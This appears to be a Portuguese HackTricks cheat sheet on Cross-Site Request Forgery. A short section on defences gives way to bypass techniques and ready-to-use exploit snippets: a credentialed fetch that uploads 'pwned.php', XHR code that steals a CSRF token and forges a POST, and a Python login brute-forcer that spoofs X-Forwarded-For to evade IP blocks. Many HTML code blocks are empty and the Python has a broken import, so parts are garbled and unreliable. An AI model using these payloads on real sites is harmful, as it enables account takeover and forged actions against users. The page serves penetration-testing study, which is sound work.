# CSRF (Cross Site Request Forgery) {{#include ../banners/hacktricks-training.md}} ## Cross-Site Request Forgery (CSRF) Explicado **Cross-Site Request Forgery (CSRF)** é um tipo de vulnerabilidade de segurança encontrada em aplicações web. Ela permite que atacantes realizem ações em nome de usuários desavisados, explorando suas sessões autenticadas. O ataque é executado quando um usuário, que está logado na plataforma de uma vítima, visita um site malicioso. Este site então aciona requisições para a conta da vítima através de métodos como executar JavaScript, enviar formulários ou buscar imagens. ### Pré-requisitos para um Ataque CSRF Para explorar uma vulnerabilidade CSRF, várias condições devem ser atendidas: 1. **Identificar uma Ação Valiosa**: O atacante precisa encontrar uma ação que vale a pena explorar, como mudar a senha do usuário, email ou elevar privilégios. 2. **Gerenciamento de Sessão**: A sessão do usuário deve ser gerenciada exclusivamente através de cookies ou do cabeçalho de Autenticação Básica HTTP, pois outros cabeçalhos não podem ser manipulados para esse propósito. 3. **Ausência de Parâmetros Imprevisíveis**: A requisição não deve conter parâmetros imprevisíveis, pois eles podem impedir o ataque. ### Verificação Rápida Você pode **capturar a requisição no Burp** e verificar as proteções CSRF e para testar do navegador você pode clicar em **Copy as fetch** e verificar a requisição:
### Defendendo Contra CSRF Várias contramedidas podem ser implementadas para proteger contra ataques CSRF: - [**SameSite cookies**](hacking-with-cookies/index.html#samesite): Este atributo impede que o navegador envie cookies junto com requisições de outros sites. [Mais sobre cookies SameSite](hacking-with-cookies/index.html#samesite). - [**Cross-origin resource sharing**](cors-bypass.md): A política CORS do site da vítima pode influenciar a viabilidade do ataque, especialmente se o ataque requerer a leitura da resposta do site da vítima. [Saiba mais sobre bypass CORS](cors-bypass.md). - **Verificação do Usuário**: Solicitar a senha do usuário ou resolver um captcha pode confirmar a intenção do usuário. - **Verificando Cabeçalhos Referrer ou Origin**: Validar esses cabeçalhos pode ajudar a garantir que as requisições estão vindo de fontes confiáveis. No entanto, a elaboração cuidadosa de URLs pode contornar verificações mal implementadas, como: - Usar `http://mal.net?orig=http://example.com` (URL termina com a URL confiável) - Usar `http://example.com.mal.net` (URL começa com a URL confiável) - **Modificando Nomes de Parâmetros**: Alterar os nomes dos parâmetros em requisições POST ou GET pode ajudar a prevenir ataques automatizados. - **Tokens CSRF**: Incorporar um token CSRF único em cada sessão e exigir esse token em requisições subsequentes pode mitigar significativamente o risco de CSRF. A eficácia do token pode ser aumentada pela imposição de CORS. Compreender e implementar essas defesas é crucial para manter a segurança e integridade das aplicações web. ## Bypass de Defesas ### De POST para GET Talvez o formulário que você deseja abusar esteja preparado para enviar uma **requisição POST com um token CSRF, mas**, você deve **verificar** se um **GET** também é **válido** e se quando você envia uma requisição GET o **token CSRF ainda está sendo validado**. ### Falta de token As aplicações podem implementar um mecanismo para **validar tokens** quando eles estão presentes. No entanto, uma vulnerabilidade surge se a validação for completamente ignorada quando o token está ausente. Os atacantes podem explorar isso **removendo o parâmetro** que carrega o token, não apenas seu valor. Isso permite que eles contornem o processo de validação e conduzam um ataque de Cross-Site Request Forgery (CSRF) de forma eficaz. ### Token CSRF não está vinculado à sessão do usuário Aplicações **que não vinculam tokens CSRF às sessões de usuário** apresentam um **risco de segurança** significativo. Esses sistemas verificam tokens contra um **pool global** em vez de garantir que cada token esteja vinculado à sessão iniciadora. Veja como os atacantes exploram isso: 1. **Autenticar** usando sua própria conta. 2. **Obter um token CSRF válido** do pool global. 3. **Usar esse token** em um ataque CSRF contra uma vítima. Essa vulnerabilidade permite que atacantes façam requisições não autorizadas em nome da vítima, explorando o **mecanismo de validação de token inadequado** da aplicação. ### Bypass de Método Se a requisição estiver usando um "**método estranho**", verifique se a **funcionalidade de substituição de método** está funcionando. Por exemplo, se estiver **usando um método PUT**, você pode tentar **usar um método POST** e **enviar**: _https://example.com/my/dear/api/val/num?**\_method=PUT**_ Isso também pode funcionar enviando o **parâmetro \_method dentro de uma requisição POST** ou usando os **cabeçalhos**: - _X-HTTP-Method_ - _X-HTTP-Method-Override_ - _X-Method-Override_ ### Bypass de Token de Cabeçalho Personalizado Se a requisição estiver adicionando um **cabeçalho personalizado** com um **token** à requisição como **método de proteção CSRF**, então: - Teste a requisição sem o **Token Personalizado e também o cabeçalho.** - Teste a requisição com o **mesmo comprimento exato, mas um token diferente**. ### Token CSRF é verificado por um cookie As aplicações podem implementar proteção CSRF duplicando o token em um cookie e em um parâmetro de requisição ou configurando um cookie CSRF e verificando se o token enviado no backend corresponde ao cookie. A aplicação valida requisições verificando se o token no parâmetro de requisição alinha-se com o valor no cookie. No entanto, esse método é vulnerável a ataques CSRF se o site tiver falhas que permitam a um atacante definir um cookie CSRF no navegador da vítima, como uma vulnerabilidade CRLF. O atacante pode explorar isso carregando uma imagem enganosa que define o cookie, seguida pela iniciação do ataque CSRF. Abaixo está um exemplo de como um ataque poderia ser estruturado: ```html
``` > [!TIP] > Note que se o **token csrf estiver relacionado com o cookie de sessão, este ataque não funcionará** porque você precisará definir a sessão da vítima, e, portanto, estará atacando a si mesmo. ### Mudança de Content-Type De acordo com [**isso**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests), para **evitar** requisições **preflight** usando o método **POST**, estes são os valores de Content-Type permitidos: - **`application/x-www-form-urlencoded`** - **`multipart/form-data`** - **`text/plain`** No entanto, note que a **lógica do servidor pode variar** dependendo do **Content-Type** utilizado, então você deve tentar os valores mencionados e outros como **`application/json`**_**,**_**`text/xml`**, **`application/xml`**_._ Exemplo (de [aqui](https://brycec.me/posts/corctf_2021_challenges)) de envio de dados JSON como text/plain: ```html
``` ### Bypassando Requisições Preflight para Dados JSON Ao tentar enviar dados JSON via uma requisição POST, usar `Content-Type: application/json` em um formulário HTML não é diretamente possível. Da mesma forma, utilizar `XMLHttpRequest` para enviar esse tipo de conteúdo inicia uma requisição preflight. No entanto, existem estratégias para potencialmente contornar essa limitação e verificar se o servidor processa os dados JSON independentemente do Content-Type: 1. **Usar Tipos de Conteúdo Alternativos**: Empregue `Content-Type: text/plain` ou `Content-Type: application/x-www-form-urlencoded` definindo `enctype="text/plain"` no formulário. Essa abordagem testa se o backend utiliza os dados independentemente do Content-Type. 2. **Modificar o Tipo de Conteúdo**: Para evitar uma requisição preflight enquanto garante que o servidor reconheça o conteúdo como JSON, você pode enviar os dados com `Content-Type: text/plain; application/json`. Isso não aciona uma requisição preflight, mas pode ser processado corretamente pelo servidor se estiver configurado para aceitar `application/json`. 3. **Utilização de Arquivo SWF Flash**: Um método menos comum, mas viável, envolve usar um arquivo SWF flash para contornar tais restrições. Para uma compreensão mais profunda dessa técnica, consulte [este post](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937). ### Bypass de verificação de Referer / Origem **Evitar o cabeçalho Referer** As aplicações podem validar o cabeçalho 'Referer' apenas quando ele está presente. Para evitar que um navegador envie esse cabeçalho, a seguinte tag meta HTML pode ser usada: ```xml ``` Isso garante que o cabeçalho 'Referer' seja omitido, potencialmente contornando as verificações de validação em algumas aplicações. **Contornos de Regexp** {{#ref}} ssrf-server-side-request-forgery/url-format-bypass.md {{#endref}} Para definir o nome do domínio do servidor na URL que o Referrer vai enviar dentro dos parâmetros, você pode fazer: ```html
``` ### **Bypass do método HEAD** A primeira parte de [**este writeup de CTF**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) explica que o [código-fonte do Oak](https://github.com/oakserver/oak/blob/main/router.ts#L281), um roteador, está configurado para **tratar requisições HEAD como requisições GET** sem corpo de resposta - uma solução comum que não é exclusiva do Oak. Em vez de um manipulador específico que lida com requisições HEAD, elas são simplesmente **enviadas para o manipulador GET, mas o aplicativo apenas remove o corpo da resposta**. Portanto, se uma requisição GET estiver sendo limitada, você pode simplesmente **enviar uma requisição HEAD que será processada como uma requisição GET**. ## **Exemplos de Exploração** ### **Exfiltrando o Token CSRF** Se um **token CSRF** estiver sendo usado como **defesa**, você pode tentar **exfiltrá-lo** abusando de uma vulnerabilidade de [**XSS**](xss-cross-site-scripting/index.html#xss-stealing-csrf-tokens) ou uma vulnerabilidade de [**Markup Pendente**](dangling-markup-html-scriptless-injection/index.html). ### **GET usando tags HTML** ```xml

404 - Page not found

The URL you are requesting is no longer available ``` Outros tags HTML5 que podem ser usados para enviar automaticamente uma solicitação GET são: ```html ``` ### Formulário de solicitação GET ```html
``` ### Solicitação POST de formulário ```html
``` ### Solicitação POST de formulário através de iframe ```html
``` ### **Requisição POST Ajax** ```html ``` ### multipart/form-data solicitação POST ```javascript myFormData = new FormData() var blob = new Blob([""], { type: "text/text" }) myFormData.append("newAttachment", blob, "pwned.php") fetch("http://example/some/path", { method: "post", body: myFormData, credentials: "include", headers: { "Content-Type": "application/x-www-form-urlencoded" }, mode: "no-cors", }) ``` ### multipart/form-data POST request v2 ```javascript // https://www.exploit-db.com/exploits/20009 var fileSize = fileData.length, boundary = "OWNEDBYOFFSEC", xhr = new XMLHttpRequest() xhr.withCredentials = true xhr.open("POST", url, true) // MIME POST request. xhr.setRequestHeader( "Content-Type", "multipart/form-data, boundary=" + boundary ) xhr.setRequestHeader("Content-Length", fileSize) var body = "--" + boundary + "\r\n" body += 'Content-Disposition: form-data; name="' + nameVar + '"; filename="' + fileName + '"\r\n' body += "Content-Type: " + ctype + "\r\n\r\n" body += fileData + "\r\n" body += "--" + boundary + "--" //xhr.send(body); xhr.sendAsBinary(body) ``` ### Enviar requisição POST de dentro de um iframe ```html <--! expl.html -->

Sitio bajo mantenimiento. Disculpe las molestias

``` ### **Roubar o Token CSRF e enviar uma solicitação POST** ```javascript function submitFormWithTokenJS(token) { var xhr = new XMLHttpRequest() xhr.open("POST", POST_URL, true) xhr.withCredentials = true // Send the proper header information along with the request xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded") // This is for debugging and can be removed xhr.onreadystatechange = function () { if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) { //console.log(xhr.responseText); } } xhr.send("token=" + token + "&otherparama=heyyyy") } function getTokenJS() { var xhr = new XMLHttpRequest() // This tels it to return it as a HTML document xhr.responseType = "document" xhr.withCredentials = true // true on the end of here makes the call asynchronous xhr.open("GET", GET_URL, true) xhr.onload = function (e) { if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) { // Get the document from the response page = xhr.response // Get the input element input = page.getElementById("token") // Show the token //console.log("The token is: " + input.value); // Use the token to submit the form submitFormWithTokenJS(input.value) } } // Make the request xhr.send(null) } var GET_URL = "http://google.com?param=VALUE" var POST_URL = "http://google.com?param=VALUE" getTokenJS() ``` ### **Roubar o Token CSRF e enviar uma requisição Post usando um iframe, um formulário e Ajax** ```html
``` ### **Roubar o Token CSRF e enviar uma solicitação POST usando um iframe e um formulário** ```html ``` ### **Roubar token e enviá-lo usando 2 iframes** ```html
``` ### **POSTRoubar o token CSRF com Ajax e enviar um post com um formulário** ```html
``` ### CSRF com Socket.IO ```html ``` ## CSRF Login Brute Force O código pode ser usado para forçar um formulário de login usando um token CSRF (também está usando o cabeçalho X-Forwarded-For para tentar contornar um possível bloqueio de IP): ```python import request import re import random URL = "http://10.10.10.191/admin/" PROXY = { "http": "127.0.0.1:8080"} SESSION_COOKIE_NAME = "BLUDIT-KEY" USER = "fergus" PASS_LIST="./words" def init_session(): #Return CSRF + Session (cookie) r = requests.get(URL) csrf = re.search(r'input type="hidden" id="jstokenCSRF" name="tokenCSRF" value="([a-zA-Z0-9]*)"', r.text) csrf = csrf.group(1) session_cookie = r.cookies.get(SESSION_COOKIE_NAME) return csrf, session_cookie def login(user, password): print(f"{user}:{password}") csrf, cookie = init_session() cookies = {SESSION_COOKIE_NAME: cookie} data = { "tokenCSRF": csrf, "username": user, "password": password, "save": "" } headers = { "X-Forwarded-For": f"{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}" } r = requests.post(URL, data=data, cookies=cookies, headers=headers, proxies=PROXY) if "Username or password incorrect" in r.text: return False else: print(f"FOUND {user} : {password}") return True with open(PASS_LIST, "r") as f: for line in f: login(USER, line.strip()) ``` ## Ferramentas - [https://github.com/0xInfection/XSRFProbe](https://github.com/0xInfection/XSRFProbe) - [https://github.com/merttasci/csrf-poc-generator](https://github.com/merttasci/csrf-poc-generator) ## Referências - [https://portswigger.net/web-security/csrf](https://portswigger.net/web-security/csrf) - [https://portswigger.net/web-security/csrf/bypassing-token-validation](https://portswigger.net/web-security/csrf/bypassing-token-validation) - [https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses](https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses) - [https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html](https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html) ​ {{#include ../banners/hacktricks-training.md}}